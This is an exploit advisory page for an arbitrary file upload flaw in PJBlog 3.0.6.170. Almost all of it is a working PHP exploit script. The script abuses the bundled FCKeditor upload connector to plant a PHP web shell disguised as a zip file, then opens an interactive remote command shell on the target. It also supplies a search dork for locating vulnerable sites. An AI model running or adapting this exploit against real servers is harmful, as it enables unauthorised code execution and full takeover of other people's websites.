PJBlog version 3.0.6.170 an arbitrary file upload

2009-09-21 / 2009-09-24
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<? ################################################################ # Discoverd By: Securitylab.ir # # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir # ################################################################ # Application Info: # # Name: PJBlog # # Version: v3.0.6.170 # # Dork: intext:"PJBlog3 v3.0.6.170" # ################################################################ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); define(STDIN, fopen("php://stdin", "r")); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function connector_response($html) { return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201))); } print "\n+------------------------------------------------------------------+"; print "\n| PJblog (fckeditor) Arbitrary File Upload Exploit |"; print "\n+------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /PJblog/\n"; die(); } $host = $argv[1]; $path = ereg_replace("(/){2,}", "/", $argv[2]); $filename = md5(time()).".php"; $connector = "FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php"; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n"; $payload .= "Content-Type: application/zip\r\n\r\n"; $payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n"); else print "\n[-] Shell uploaded to {$filename}...starting it!\n"; $path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root $packet = "GET {$path}{$filename} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nPJblog-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n"); } else break; } ?>


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